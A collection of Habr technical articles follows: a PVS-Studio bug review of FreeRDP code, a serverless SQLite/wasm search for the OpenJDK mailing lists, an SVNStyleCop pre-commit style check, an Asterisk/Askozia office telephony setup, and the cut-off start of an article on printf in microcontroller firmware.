TRIO_CONST char *string,
int character)
{
assert(string);
return strchr(string, character);
}
```
As the comment suggests, the *trio\_index* function finds the first character occurrence in the string, while the *trio\_index\_last* function finds the last occurrence. Yet bodies of both these functions are exactly the same! This must be a typo and the *trio\_index\_last* function should probably return *strrchr* instead of *strchr* — in that case, the program would behave as expected.
### Snippet 4
[V769](https://www.viva64.com/en/w/v769/) The 'data' pointer in the expression equals nullptr. The resulting value of arithmetic operations on this pointer is senseless and it should not be used. nsc\_encode.c 124
```
static BOOL nsc_encode_argb_to_aycocg(NSC_CONTEXT* context,
const BYTE* data,
UINT32 scanline)
{
....
if (!context || data || (scanline == 0))
return FALSE;
....
src = data + (context->height - 1 - y) * scanline;
....
}
```
The developer must have accidentally left out the negation operator *!* before *data*. I wonder why no one noticed it earlier.
### Snippet 5
[V517](https://www.viva64.com/en/w/v517/) The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 213, 222. rdpei\_common.c 213
```
BOOL rdpei_write_4byte_unsigned(wStream* s, UINT32 value)
{
BYTE byte;
if (value <= 0x3F)
{
....
}
else if (value <= 0x3FFF)
{
....
}
else if (value <= 0x3FFFFF)
{
byte = (value >> 16) & 0x3F;
Stream_Write_UINT8(s, byte | 0x80);
byte = (value >> 8) & 0xFF;
Stream_Write_UINT8(s, byte);
byte = (value & 0xFF);
Stream_Write_UINT8(s, byte);
}
else if (value <= 0x3FFFFF)
{
byte = (value >> 24) & 0x3F;
Stream_Write_UINT8(s, byte | 0xC0);
byte = (value >> 16) & 0xFF;
Stream_Write_UINT8(s, byte);
byte = (value >> 8) & 0xFF;
Stream_Write_UINT8(s, byte);
byte = (value & 0xFF);
Stream_Write_UINT8(s, byte);
}
....
}
```
The last two conditions are the same: the programmer must have forgotten to change the copy. Judging by the code's logic, the last part handles four-byte values, so we could assume that the last condition should check if *value <= 0x3FFFFFFF*.
One more bug of this type:
* V517 The use of 'if (A) {...} else if (A) {...}' pattern was detected. There is a probability of logical error presence. Check lines: 169, 173. file.c 169
Checking input data
-------------------
### Snippet 1
[V547](https://www.viva64.com/en/w/v547/) Expression 'strcat(target, source) != NULL' is always true. triostr.c 425
```
TRIO_PUBLIC_STRING int
trio_append
TRIO_ARGS2((target, source),
char *target,
TRIO_CONST char *source)
{
assert(target);
assert(source);
return (strcat(target, source) != NULL);
}
```
The check of the function's return value is faulty. The *strcat* function returns a pointer to the target string, i.e. the first parameter, which in this case is *target*. But if it does equal NULL, it's too late to check it as it will have been already dereferenced in the *strcat* function.
### Snippet 2
[V547](https://www.viva64.com/en/w/v547/) Expression 'cache' is always true. glyph.c 730
```
typedef struct rdp_glyph_cache rdpGlyphCache;
struct rdp_glyph_cache
{
....
GLYPH_CACHE glyphCache[10];
....
};
void glyph_cache_free(rdpGlyphCache* glyphCache)
{
....
GLYPH_CACHE* cache = glyphCache->glyphCache;
if (cache)
{
....
}
....
}
```
In this snippet, the *cache* variable is assigned the address of the static array *glyphCache->glyphCache*. The check *if (cache)* can, therefore, be removed.
Resource management error
-------------------------
[V1005](https://www.viva64.com/en/w/v1005/) The resource was acquired using 'CreateFileA' function but was released using incompatible 'fclose' function. certificate.c 447
```
BOOL certificate_data_replace(rdpCertificateStore* certificate_store,
rdpCertificateData* certificate_data)
{
HANDLE fp;
....
fp = CreateFileA(certificate_store->file, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
....
if (size < 1)
{
CloseHandle(fp);
return FALSE;
}
....
if (!data)
{
fclose(fp);
return FALSE;
}
....
}
```
The *fp* handle to the file created by the *CreateFile* function was closed by mistake by calling the *fclose* function from the standard library rather than the function *CloseHandle*.
Identical conditions
--------------------
[V581](https://www.viva64.com/en/w/v581/) The conditional expressions of the 'if' statements situated alongside each other are identical. Check lines: 269, 283. ndr\_structure.c 283
```
void NdrComplexStructBufferSize(PMIDL_STUB_MESSAGE pStubMsg,
unsigned char* pMemory, PFORMAT_STRING pFormat)
{
....
if (conformant_array_description)
{
ULONG size;
unsigned char array_type;
array_type = conformant_array_description[0];
size = NdrComplexStructMemberSize(pStubMsg, pFormat);
WLog_ERR(TAG, "warning: NdrComplexStructBufferSize array_type: "
"0x%02X unimplemented", array_type);
NdrpComputeConformance(pStubMsg, pMemory + size,
conformant_array_description);
NdrpComputeVariance(pStubMsg, pMemory + size,
conformant_array_description);
MaxCount = pStubMsg->MaxCount;
ActualCount = pStubMsg->ActualCount;
Offset = pStubMsg->Offset;
}
if (conformant_array_description)
{
unsigned char array_type;
array_type = conformant_array_description[0];
pStubMsg->MaxCount = MaxCount;
pStubMsg->ActualCount = ActualCount;
pStubMsg->Offset = Offset;
WLog_ERR(TAG, "warning: NdrComplexStructBufferSize array_type: "
"0x%02X unimplemented", array_type);
}
....
}
```
This snippet might be correct, but it's suspicious that both conditions contain identical messages — one of them is probably unnecessary.
Freeing null pointers
---------------------
[V575](https://www.viva64.com/en/w/v575/) The null pointer is passed into 'free' function. Inspect the first argument. smartcard\_pcsc.c 875
```
WINSCARDAPI LONG WINAPI PCSC_SCardListReadersW(
SCARDCONTEXT hContext,
LPCWSTR mszGroups,
LPWSTR mszReaders,
LPDWORD pcchReaders)
{
LPSTR mszGroupsA = NULL;
....
mszGroups = NULL; /* mszGroups is not supported by pcsc-lite */
if (mszGroups)
ConvertFromUnicode(CP_UTF8,0, mszGroups, -1,
(char**) &mszGroupsA, 0,
NULL, NULL);
status = PCSC_SCardListReaders_Internal(hContext, mszGroupsA,
(LPSTR) &mszReadersA,
pcchReaders);
if (status == SCARD_S_SUCCESS)
{
....
}
free(mszGroupsA);
....
}
```
The *free* function can be called on a null pointer, and PVS-Studio knows that. But if the pointer is found to be always null, like in this snippet, the analyzer will issue a warning.
The *mszGroupsA* pointer is initially set to *NULL* and is not initialized anywhere else. The only branch where it could be initialized is unreachable.
A couple of other warnings of this type:
* V575 The null pointer is passed into 'free' function. Inspect the first argument. license.c 790
* V575 The null pointer is passed into 'free' function. Inspect the first argument. rdpsnd\_alsa.c 575
Abandoned variables like that seem to be residues left after refactoring and can be removed.
Potential overflow
------------------
[V1028](https://www.viva64.com/en/w/v1028/) Possible overflow. Consider casting operands, not the result. makecert.c 1087
```
// openssl/x509.h
ASN1_TIME *X509_gmtime_adj(ASN1_TIME *s, long adj);
struct _MAKECERT_CONTEXT
{
....
int duration_years;
int duration_months;
};
typedef struct _MAKECERT_CONTEXT MAKECERT_CONTEXT;
int makecert_context_process(MAKECERT_CONTEXT* context, ....)
{
....
if (context->duration_months)
X509_gmtime_adj(after, (long)(60 * 60 * 24 * 31 *
context->duration_months));
else if (context->duration_years)
X509_gmtime_adj(after, (long)(60 * 60 * 24 * 365 *
context->duration_years));
....
}
```
Casting the expression result to *long* won't prevent an overflow since the evaluation is done on the value while it is still of type *int*.
Dereferencing pointer at initialization
---------------------------------------
[V595](https://www.viva64.com/en/w/v595/) The 'context' pointer was utilized before it was verified against nullptr. Check lines: 746, 748. gfx.c 746
```
static UINT gdi_SurfaceCommand(RdpgfxClientContext* context,
const RDPGFX_SURFACE_COMMAND* cmd)
{
....
rdpGdi* gdi = (rdpGdi*) context->custom;
if (!context || !cmd)
return ERROR_INVALID_PARAMETER;
....
}
```
The *context* pointer is dereferenced during its initialization, i.e. before the check.
Other bugs of this type:
* V595 The 'ntlm' pointer was utilized before it was verified against nullptr. Check lines: 236, 255. ntlm.c 236
* V595 The 'context' pointer was utilized before it was verified against nullptr. Check lines: 1003, 1007. rfx.c 1003
* V595 The 'rdpei' pointer was utilized before it was verified against nullptr. Check lines: 176, 180. rdpei\_main.c 176
* V595 The 'gdi' pointer was utilized before it was verified against nullptr. Check lines: 121, 123. xf\_gfx.c 121
Meaningless condition
---------------------
[V547](https://www.viva64.com/en/w/v547/) Expression 'rdp->state >= CONNECTION\_STATE\_ACTIVE' is always true. connection.c 1489
```
int rdp_server_transition_to_state(rdpRdp* rdp, int state)
{
....
switch (state)
{
....
case CONNECTION_STATE_ACTIVE:
rdp->state = CONNECTION_STATE_ACTIVE; // <=
....
if (rdp->state >= CONNECTION_STATE_ACTIVE) // <=
{
IFCALLRET(client->Activate, client->activated, client);
if (!client->activated)
return -1;
}
....
}
....
}
```
It's easy to see that the first condition doesn't make sense because the value in question was already assigned before.
Incorrect string handling
-------------------------
[V576](https://www.viva64.com/en/w/v576/) Incorrect format. Consider checking the third actual argument of the 'sscanf' function. A pointer to the unsigned int type is expected. proxy.c 220
[V560](https://www.viva64.com/en/w/v560/) A part of conditional expression is always true: (rc >= 0). proxy.c 222
```
static BOOL check_no_proxy(....)
{
....
int sub;
int rc = sscanf(range, "%u", ⊂);
if ((rc == 1) && (rc >= 0))
{
....
}
....
}
```
This code triggers two warnings at once. The *%u* placeholder is used for variables of type *unsigned int*, while the *sub* variable is of type *int*. The second warning points out a suspicious check: the right part of the conditional expression doesn't make sense as the variable was already checked for 1 in the left part. I'm not sure about the author's intentions, but something is obviously wrong with this code.
Checks in the wrong order
-------------------------
[V547](https://www.viva64.com/en/w/v547/) Expression 'status == 0x00090314' is always false. ntlm.c 299
```
BOOL ntlm_authenticate(rdpNtlm* ntlm, BOOL* pbContinueNeeded)
{
....
if (status != SEC_E_OK)
{
....
return FALSE;
}
if (status == SEC_I_COMPLETE_NEEDED) // <=
status = SEC_E_OK;
else if (status == SEC_I_COMPLETE_AND_CONTINUE) // <=
status = SEC_I_CONTINUE_NEEDED;
....
}
```
The marked conditions will always be false since the second condition can be executed only if *status == SEC\_E\_OK*. This is what the correct version could look like:
```
if (status == SEC_I_COMPLETE_NEEDED)
status = SEC_E_OK;
else if (status == SEC_I_COMPLETE_AND_CONTINUE)
status = SEC_I_CONTINUE_NEEDED;
else if (status != SEC_E_OK)
{
....
return FALSE;
}
```
Conclusion
----------
The check revealed lots of bugs, and those discussed above are just the most interesting ones. The project developers are welcome to submit a form for a temporary license key on the [PVS-Studio](https://www.viva64.com/en/pvs-studio-download/) website to do their own check. The analyzer also produced a number of false positives, which we will fix to improve its performance. Note that static analysis is indispensable if your goal is not only to improve the code quality but also make bug hunting less time-consuming — and that's where PVS-Studio will come in handy. | https://habr.com/ru/post/444246/ | null | en | null |
# Как я делал serverless поиск для мейлинг листов OpenJDK
Совсем недавно мне захотелось поискать какую-то информацию в [amber-dev](https://mail.openjdk.org/pipermail/amber-dev/) мейлинг листе. Оказывается, что никакого встроенного поиска тут нет. Нужно либо пользоваться гуглом и использовать **site:** оператор, либо использовать поиск почтового клиента. В целом, оба варианта — рабочие, но мне захотелось сделать еще одну опцию, попутно немного поиграв с WebAssembly.
**TL;DR** Есть демо сайт, на котором можно поиграть с локальной базой мейлинг листов — <https://hixon10.github.io/openjdk-mailing-lists-search/>. А исходники можно посмотреть тут — <https://github.com/Hixon10/openjdk-mailing-lists-search>.
Про идею проекта
----------------
Сразу нужно сказать, что идея создания serverless поиска — не нова. За последние несколько лет было несколько статей, как кто-то делал поиск для своего статического сайта, используя одну из баз данных, скомпилированных под wasm. Например, Gunnar Morling писал про это в своем блоге — <https://www.morling.dev/blog/how-i-built-a-serverless-search-for-my-blog/>.
Плюсы и минусы такого подхода, наверное, и так понятны. Минус — мы должны выкачивать на клиент всю БД, даже если хотим прочитать из базы всего одну запись. Наш пользователь вынужден ждать, а мы будем платить за трафик нашему облачному провайдеру. Однако есть и плюсы — мы можем позволить пользователю выполнять любые, даже самые тяжелые запросы к БД, не боясь положить прод.
Базы данных и WebAssembly
-------------------------
На сегодняшний день существует несколько Баз Данных, которые уже кем-то собраны под wasm:
* <https://github.com/sql-js/sql.js/> — скомпилированная SQLite.
* <https://github.com/duckdb/duckdb-wasm> — скомпилированный DuckDB.
* <https://github.com/snaplet/postgres-wasm> — очень хитро собранный PostgreSQL.
Возможно, уже есть и какие-то другие БД, собранные под wasm. Скорей всего, в следующие год-два многие БД, которые написаны на C/C++/Rust/Go, будут собраны под wasm. С одной стороны, у этого не всегда есть практическая ценность (хотя, очень круто делать playground для вашей БД в виде полностью локального решения, которое работает в браузере клиента). С другой же стороны — сборка под wasm будет всё проще и проще со временем, когда тулчейн станет еще более зрелым.
Про требования к моему игрушечному проекту
------------------------------------------
* Отсутствие сервера. Если мы даже готовы использовать БД из браузера, то все остальные этапы мы должны мочь сделать без сервера и подобно.
* Поиск должен работать хотя бы в последнем Google Chrome. Так как мы не делаем промышленное решение, мы не переживаем про поддержку разных браузеров и версий. Задача со звездочкой — должно работать и в последнем Firefox, которым я сам и пользуюсь.
* К базе данных особо требований нет. Подойдет любая БД, которая уже собрана под wasm.
* Для хранения текущего индекса (БД) мы должны использовать что-то, что не заставит нас покупать аккаунт или сервер.
Детали реализации проекта
-------------------------
По сути, мой демо проект состоит из 3 частей — индексера, поискового фронтенда и мониторинга. Наверное, из названий понятно, что каждая часть делает, но давайте проговорим это явно.
### Индексер
Задача [индексер](https://github.com/Hixon10/openjdk-mailing-lists-search/tree/main/indexer) периодически проверять OpenJDK мейлинг листы, на которые мы подписаны, и добавлять новые емейлы в индекс (нашу базу данных). Написана эта штука на Java, но тут это совсем не важно. Сначала я хотел собрать индексер в GraalVM Native Image, чтобы сократить время отработки индексатора. Однако потом я увидел, что больше вего времени мы тратим на выкачку старого индекса и сохранение нового индекса, поэтому нейтив имидж тут не поможет.
У нас нет сервера, поэтому нам нужен какой-то способ запускать переодически индексирование вне нашей инфраструктуры. Для этого я воспользовался [GitHub Action](https://github.com/Hixon10/openjdk-mailing-lists-search/blob/main/.github/workflows/reindexer.yaml). Этот экшен может запуститься несколько раз в час, и обновлять индекс. Важно, что гитхаб не гарантирует нам, что экшен запустится мгновенно, по значению из настроек. В нагруженные часы индексер может и не отработать вообще, поэтому эту штуку не стоит использовать для важных задач.
Сам индекс хранится, как часть проекта, в [git](https://github.com/Hixon10/openjdk-mailing-lists-search/tree/main/docs). Экшен-индексатор клонирует проект, включая индекс, затем — запускает индексатор, который работает с индексом, как с локальной sqlite базой данных. Финальный этап — попытка закоммитить новую версию индекса, если она изменилась.
### Поисковый фронтенд
Я решил взять SQLite в качестве БД. Поэтому я взял проект **sql.js**. У ребят уже была реализована демка с веб-интерфейсом для доступа к данным, её я и взял в качестве основы фронтенда. Мне пришлось только немного поменять код для загрузки БД из гитхаба.
### Про мониторинг решения
Самое страшное, что может случится — молчаливое прекращение работы индексатора. С одной стороны, нам будет казаться, что всё работает нормально, и мы даже сможем открыть демо сайт. Однако в индексе мы не сможем найти новые письма, и пока кто-то не пожалуется на это, мы и не узнаем.
Я решил реализовать мониторинг довольно примитивно. Давайте, каждый раз, когда мы добавляем новые емейлы в БД, мы будем обновлять один [служебный файл](https://github.com/Hixon10/openjdk-mailing-lists-search/blob/main/docs/dbsize.txt), который содержит текущий размер индекса и текущую дату. Кроме того, создадим [Cloudflare Worker](https://workers.cloudflare.com/), который будет переодически скачивать этот файл, считать, сколько прошло времени после последнего обновления индекса, и, если прошло больше N дней, [слать емейл админу](https://github.com/Hixon10/openjdk-mailing-lists-search/blob/main/monitoring/worker.js). Такое решение позволяет полностью не зависить от работы GitHub Actions, иначе я бы реализовал мониторинг прямо в экшенах.
Лимит в GitHub на размер бинарного файла в репозитории
------------------------------------------------------
Гитхаб позволяет, кажется, хранить в репке бинарные файлы до 100MB. Этого, на самом деле, хватит всем, при верном использовании проекта. Но, так как мы хотим хранить индекс в гитхабе, нас этот лимит не устроит. GitHub рекомендует для больших файлов использовать <https://git-lfs.github.com/>. Это решение хорошо всем, за одним исключением — GitHub Pages не позволяют вставить прямую ссылку на файлы, которые загружены на Git LFS, а нам это необходимо для того чтобы использовать нашу БД локально.
Я нашел два решения этой проблемы. Первое — хостить индекс в каком-то другом месте, вне git. Решение хорошое, но не подходит под наши требования.
Второе решение довольно костыльное. Давайте разобьем наш индекс на части (до 100MB), и будем хранить их. Из-за этого нам придется сделать ряд вещей, но в конечном итоге всё будет работать нормально.
Итак, несколько изменений по коду. Во-первых, мы будем вынуждены выкачавать с клиента не один blob файл, а сразу N частей:
```
const databaseUrlPrefix = "https://hixon10.github.io/openjdk-mailing-lists-search/";
const databasePartNames = ["db-part-00", "db-part-01", "db-part-02", "db-part-03", "db-part-04", "db-part-05", "db-part-06", "db-part-07", "db-part-08", "db-part-09"];
for (const dbPartName of databasePartNames) {
const currentDbPartPromise = fetch(databaseUrlPrefix+dbPartName, {..})
// ...
}
```
Во-вторых, нам придется разбивать и собирать индекс из частей до/после работы индексатора:
```
- name: Build database from parts
run: cat ./docs/db-part* > ./docs/emailindex.db
```
```
- name: Build database parts from database
run: cd docs && split --number=l/10 --numeric-suffixes emailindex.db db-part-
```
Выводы
------
Демо проект сделан, и он как-то работает, но это не важно. Важно, что, wasm базы данных на клиент, скорей всего, будут развиваться и дальше. Возможно, не в таком варианте как у меня в демке. Но, например, для edge computing это решение может быть вполне жизнеспособным, особенно если представить, что у каждого пользователя будет своя мини-БД, с небольшим количеством данных. | https://habr.com/ru/post/692512/ | null | ru | null |
# Как не дать программисту написать плохой код
Как-то раз в одной [неглупой статье](http://habrahabr.ru/blogs/net/102177/) один [неглупый хабраюзер](http://maseal.habrahabr.ru/) рассказал одну [неглупую идею](http://habrahabr.ru/blogs/net/102177/#comment_3171794). Суть её была в том, что в его компании настроена система, контролирующая написанный программистами код в момент попытки добавления его в репозиторий и отклоняющая код, не проходящий по некоторым критериям. Мне идея понравилась. Я (и еще 3 человека) попросили автора развить мысль и написать статью об этом, но она так и не появилась. И я решил разобраться сам.
#### Преамбула
В начале я объясню, почему меня так захватила эта идея. При всей простоте она даёт целую кучу плюсов:
* **Категоричность требования качества кода**
В этом главное отличие от ворнингов и ошибок компялятора, советов коллег, выводов инструментов анализа кода — на них всех можно плюнуть и написать любую чушь. А тут программист просто НЕ МОЖЕТ коммитнуть плохой код. При этом у него нет шансов «смухлевать», нет надежды на «а вдруг никто не заметит», нет злости на начальника, который все-таки заметил и ткнул мордой в монитор. Спорить с роботом — это все равно, что разговаривать с телевизором.
* **Программисты-лентяи наконец-то прочитают внутренние соглашения компании по кодированию**
Кем-то ведь они для чего-то писались когда-то! И одно дело когда было «прочитайте, пожалуйста, и придерживайтесь» и другое когда «а фиг вы работать тут сможете, если не прочитаете и не будете придерживаться»
* **Добросовестным программистам наконец-то не придется помнить наизусть соглашения по кодированию**
Это документ, который непонятно-кто непонятно-когда и непонятно-зачем написал больше на надо знать напамять! Если что-то не так напишешь — тебе об этом будет автоматически сообщено. Круто.
* **Исчезает часть диалогов старших и младших программистов в стиле «Вася, ну ты дурак, я ж тебе говорил писать тут вот так...»**
Не все, конечно, но часть исчезает. Об этом скажет робот.
* **Исчезают циклы «Вася поставил пробел после запятой ->Петя убрал ->Вася поставил->Петя убрал… Петя и Вася набили друг другу морду»**
Меньше конфликтов — здоровее нервы. Обижаться на робота — бессмысленно.
* **В нужных местах кода появляются комментарии**
Просто потому, что можно отказаться принимать в репозиторий класс, интерфейс или метод, перед которым не написан комментарий.
* **Разгрузка старших программистов**
В ряде случаев джуниор-программист получает ответ на вопрос «А как надо написать: так или так?» от автоматической системы, не отвлекая старших товарищей от ~~варкрафта~~ более важных дел.
#### Реализация
Я уж было думал, что придется городить свой велосипед. Ничего подобного. Все уже украдено до нас.
Знакомьтесь: **[SVNStyleCop](http://svnstylecop.codeplex.com/)**
**Плюсы**: установка за 5 минут, стабильная работа, гибкость настройки.
**Минусы**: только Windows и только C# (Возможно, есть решения и под другие языки и платформы, но, поскольку Windows и C# это как раз мой вариант, я дальше не копал).
##### Установка
1. Качаем [архив](http://svnstylecop.codeplex.com/releases/view/33036#DownloadId=83664) и распаковываем куда-угодно на компьютере, где у Вас установлен SVN-сервер.
2. Правим файл SVNStyleCop.exe.config, прописывая в нем путь к утилите svnlook.exe (она лежит в папке SVN-сервера).
3. Правим файл SVNStyleCop.exe.config, прописывая в нем какие именно файлы будут подвергаться анализу. Я написал просто
`<pathPatterns>
<clear />
<add value=".\*\.cs$"/>
pathPatterns>`
4. Кладем в папку к SVNStyleCop файл SVNSettings.StyleCop, предварительно созданный утилитой [StyleCop](http://code.msdn.microsoft.com/sourceanalysis) (программа известная, детально описывать не буду) на основании принятых в компании соглашений по написанию кода. Если у вас таких соглашений нет — никому в этом не признавайтесь. ~~Стыдитесь и кайтесь!~~ Сядьте и сделайте. Не можете сами — соприте у каких-нибудь [умных людей](http://www.rsdn.ru/article/mag/200401/codestyle.XML).
5. Устанавливаем хук на событие «pre-commit». В SVN-сервере Visual SVN это делается из контекстного меню репозитория, путем вставки в раздел «Pre commit hook» содержимого файла pre-commit.cmd из поставки SVNStyleCop (не забыть прописать в этом файле валидные пути!).
6. Делаем какую-нибудь дурость, нарушающую правила, пытаемся коммитить и видим что-то типа
[](http://habrastorage.org/storage/habraeffect/c7/ed/c7edc3d7429efa6e395a0d06ee08a537.gif "Хабрэффект.ру")
Вуаля, работает!
#### Выводы
С этой штукой объективно лучше, чем без неё. Все, что я написал в начале статьи, действительно может помочь сэкономить время, нервы и получить код немного лучшего качества. Конечно же, описанная здесь система не панацея от всех бед и в коде все равно могут быть:
* Классы, методы и переменные, названные по правилам именования, но бессмысленно
* Комментарии с непонятной белибердой
* Существенные архитектурные глюки
* Несущественные программные глюки
* Куча всего другого
Идеал недостижим, но иметь правильно оформленный код, гарантированно отвечающий хоть некоторым требованиям и правилам — это лучше, чем просто надеяться на сознательность разных несознательных личность в столь сознательном деле, как программирование. | https://habr.com/ru/post/111463/ | null | ru | null |
# Организуем Asterisk IP телефонию в офисе без изучения Linux
В этой статье я расскажу по шагам об организации IP телефонии в офисе на 15 человек с помощью Asterisk в виде сборки Askozia, неттопа Intel NUC и телефонов Linksys и Yealink, заказанных с Ebay, а также прикину примерные затраты на организацию связи со своим сервером телефонии, плюс попробую рассказать о преимуществах и недостатках этого решения.
#### Железо
Системные требования к железу у Asterisk минимальные. В принципе, под нашу задачу подойдет любая современная платформа. В качестве такой системы я выбрал [Intel NUC DCCP847DYE](http://www.intel.ru/content/www/ru/ru/motherboards/desktop-motherboards/desktop-kit-dccp847dye.html) с процессором Celeron и памятью 2 gb. Внутренний SSD диск не брал.
За телефонами я обратился к аукциону Ebay, используя запрос *«lot linksys spa»* получаем такие предложения:
Используя снайпера для ebay, мейлфорвардера и посылки с одеждой, я в общей сложности привез в офис за несколько месяцев порядка 15 телефонов Lynksys, Cisco, Yealink(Cortelco). В среднем 1 телефон обошелся в 2300 руб. Я старался брать старшие модели с двумя ethernet портами, подсветкой экрана и POE. Ну и для Sales менеджеров и специалистов техподдержки взял на том же Ebay 6 гарнитур [Plantronics MX500i](http://www.plantronics.com/us/product/mx500i)
Достаточно удобная штука и приемлемое для наших требований качество связи. Даже вебинары через нее проводим :)
#### Софт
На момент организации IP телефонии я мало чего знал про Asterisk и в Linux практически не шарил, потому выбрал готовый дистрибутив «Asterisk на флешке» — [Askozia](http://www.askozia.ru)
#### Многоканальный номер
В качестве основного поставщика IP траффика выбрали, используемого ранее на протяжении нескольких лет, провайдера [Манго Телеком](http://www.mango-office.ru/products/mnogokanalnyiy_nomer).Для исходящих добавили [Мультифон](http://multifon.ru/), [Zadarma](http://zadarma.ru/ru/), [PCTEL](http://www.pctel.ru/). У каждого из них есть свои плюсы при звонках на определенных направлениях.
#### Установка и настройка
Телефоны просто поставили между компьютерами и локальной сетью, гарнитуры воткнули в телефоны, хотя к ним шли USB звуковые, которые пригодились для проведения вебинаров через компьютер позже :)
*Про настройку IP АТС попробую рассказать подробно, используя установку с нуля, чтобы не пропустить ничего важного. Для этого начну все с самого начала на демо системе и постепенно доведу ее настройки до состояния нашей рабочей станции.*
Образ IP АТС за пару минут залил на флешку [по инструкции](http://wiki.askozia.ru/handbook:setup) и воткнул в Intel NUC, в биосе которого выбрал загрузку с USB. В сети есть DHCP сервер, потому Askozia сразу получила адрес, который я заменил на статический.
Собственно на этом работа в консоли завершена, и можно переходить в веб интерфейс по ip адресу отображенному в консоли.
При первом входе авторизуемся, используя учетные данные по умолчанию **admin/askozia**, переходим на вкладку лицензии и вбиваем полученные при покупке ключи.
У меня 2 ключа, т.к. мы используем расширенную версию Askozia с редактором маршрутов. Вводим их последовательно, сохраняя каждый ключ.В общих настройках меняем пароль, устанавливаем русский язык.
Далее в настройках подключаем внешний диск для хранения логов, голосовой почты и истории разговоров.
Диск форматируется в FAT, и его легко можно подключить к любой Windows машине, чтобы скинуть записи разговоров.
##### Настройка IP телефонов и SIP учеток
Далее переходим к настройке IP телефонов. В Askozia есть механизм автоматического поиска и настройки IP телефонов, есть TFTP сервер для прошивок и конфигурационных файлов. Телефоны перед автонастройкой необходимо сбросить до заводских настроек, после чего они будут доступны в интерфейсе Askozia. Можно конечно все настроить вручную, для этого придется в каждом телефоне через веб-интерфейс прописывать хост, логин и пароль.
И тоже самое на телефоне
Добавляем для каждого сотрудника учетку
##### Настройка провайдера
Далее переходим к настройке провайдера, для чего в личном кабинете идем в пункт меню Настройка-Сотрудники и добавляем сотрудника Askozia, для которого в настройках добавляем новый SIP номер.
В итоге мы имеем следующие данные: * Логин: AskoziaUser123456789
* Пароль: 6Ir2034+9098789987
* Хост: mikru.mangosip.ru
* Номер телефона: +7(495)202-02-02
Открываем в Askozia пункт меню Учетные записи -> Провайдеры и добавляем нового VoIP провайдера МангоОфис:
Настроим шаблон для исходящих звонков, по сути, нам нужны только 2 страны.
В кодеках разрешаем только alaw.
И настраиваем дополнительные параметры транка следующим образом. Эти параметры дает Манго в своей документации для подключения к Asterisk.
После этого можно проверить работу исходящих звонков, набрав номер c любого внутреннего телефона номер в формате 7(ХХХ)ХХХ-ХХ-ХХ
Для того чтобы заработали входящие звонки, необходимо их разрешить в свойствах транка. Например, мы хотим, чтобы все входящие звонки приходили на внутренний номер 0000002.
А в личном кабинете Манго Офис настраиваем переадресацию всех звонков на нашего пользователя Askozia.
В качестве входящего 000002 используем маршрут вызова в виде голосового меню (*Вы позвонили в компанию МИКО, для связи с отделом продаж нажмите 1… и т.д.*) Как делать голосовые меню, я описал в [прошлом посте](http://habrahabr.ru/post/165971/).##### Запись разговоров
В Askozia по умолчанию есть только запись разговоров по требованию, во время звонка нажимаем \*1 и запись начинается, а по окончании разговора она отправляется на email. Но не зря же мы достали из шкафа большой внешний винт и подключили его к Askozia.Решим задачу по тотальной записи всех внешних разговоров. Добавим в настройки провайдера команды диалплана.
**Код для вставки Входящий разговор**
```
Set(RecFile=${STRFTIME(${EPOCH},,%Y-%m/%d)}/in_${CDR(src)}_${STRFTIME(${EPOCH},,%Y-%m-%d-%H-%M-%S)})
Set(CDR(userfield)=${RecFile}.gsm)
Monitor(gsm,${RecFile},bm)
```
**Код для вставки Исходящий разговор**
```
Set(RecFile=${STRFTIME(${EPOCH},,%Y-%m/%d)}/out_${CDR(dst)}_${STRFTIME(${EPOCH},,%Y-%m-%d-%H-%M-%S)})
Set(CDR(userfield)=${RecFile}.gsm)
Monitor(gsm,${RecFile},bm)
```
Открываем настройки провайдера Манго Офис, и прописываем параметры в соответствующие поля на закладке **Дополнительно**:
В итоге мы получим структурированную по папочкам запись всех внешних разговоров, где в имени файла будет дата время, направление и вызываемый(щий) номер абонента.
##### Настройка мобильных
Для построения маршрутов вызовов, голосовых меню и отделов необходимо внутри АТС иметь номера мобильных телефонов сотрудников. Для этого создаем их в секции **внешние учетки**, прописываем номер и выбираем провайдера, через которого пойдет звонок.
Также можно сделать внешний номер используя SIP URI, например, для объединения нескольких офисов и присвоить коллегам из других офисов короткие номера.
##### Факсы
Настроим ящик для приема факсимильных сообщений.
Все входящие факсы будут поступать на общий ящик электронной почты.
#### Итоги
Раньше мы пользовались облачной IP АТC от Манго Офис, это удобно и надежно, но жестко привязывает к тарифу и траффику через одного провайдера, резко сокращает возможности по расширению функционала.
* **Платформа Intel NUC DCCP847DYE** — 6500 руб.
* **Плашка памяти 2 gb** — 850 руб.
* **Флешка на 2 gb для системы** — 300 руб.
* **Внешний USB винт для записей разговоров** валялся в шкафу.
* **15 шт IP телефонов (Lynksys, Cisco, Yealink)** — 34 500 рублей.
* **6 шт Plantronics MX500i** — 3500 рублей.
* **Askozia PBX с редактором маршрутов вызовов** — 9190 рублей.
* **Прямой московский номер в Манго** — 2500 рублей подключение и 250 руб. абонентка.
Затраты на IP телефонизацию офиса из 15 человек «по-взрослому» составили **57'340 руб**.
Сэкономить значительную сумму можно на IP телефонах, что мы и пытались сделать изначально используя софтфоны, неудобно!Сейчас в компании единый многоканальный номер, у каждого сотрудника на столе удобный IP телефон и гарнитура.Мы добавили функцию [интеграции с 1С:CRM](http://habrahabr.ru/post/169015/), подключили звонок с сайта, двусторонний Skype транк. Расходы на связь оптимизируются выбором исходящего провайдера, согласно шаблону номера. Для удаленных работников через VPN организуем полноценные рабочие места.
**Полезные ссылки:*** Более подробно про Askozia можно почитать по [ссылке](http://www.askozia.ru)
* Провайдер [Манго Телеком](http://www.mango-office.ru)
* Цены на [Intel NUC DCCP847DYE](http://price.ru/search/pc-components/barebone/offers/?query=DCCP847DYE&auto=1)
* Про интеграцию Asterisk и 1C:CRM на [хабре](http://habrahabr.ru/post/169015/) | https://habr.com/ru/post/194812/ | null | ru | null |
# Самые частые грабли при использовании printf в программах под микроконтроллеры
Время от времени в моих проектах приходится применять printf в связке с последовательным портом (UART или абстракция над USB, имитирующая последовательный порт). И, как обычно, времени между его применениями проходит много и я успеваю напрочь забыть все нюансы, которые требуется учитывать, чтобы он нормально работал в крупном проекте.
В данной статье я собрал свой собственный топ нюансов, которые возникают при использовании printf в программах под микроконтроллеры, сортированный по очевидности от самых очевидных к полностью неочевидным.
Краткое введение
----------------
По сути для того, чтобы использовать printf в программах под микроконтроллеры, достаточно:* подключить заголовочный файл в коде проекта;
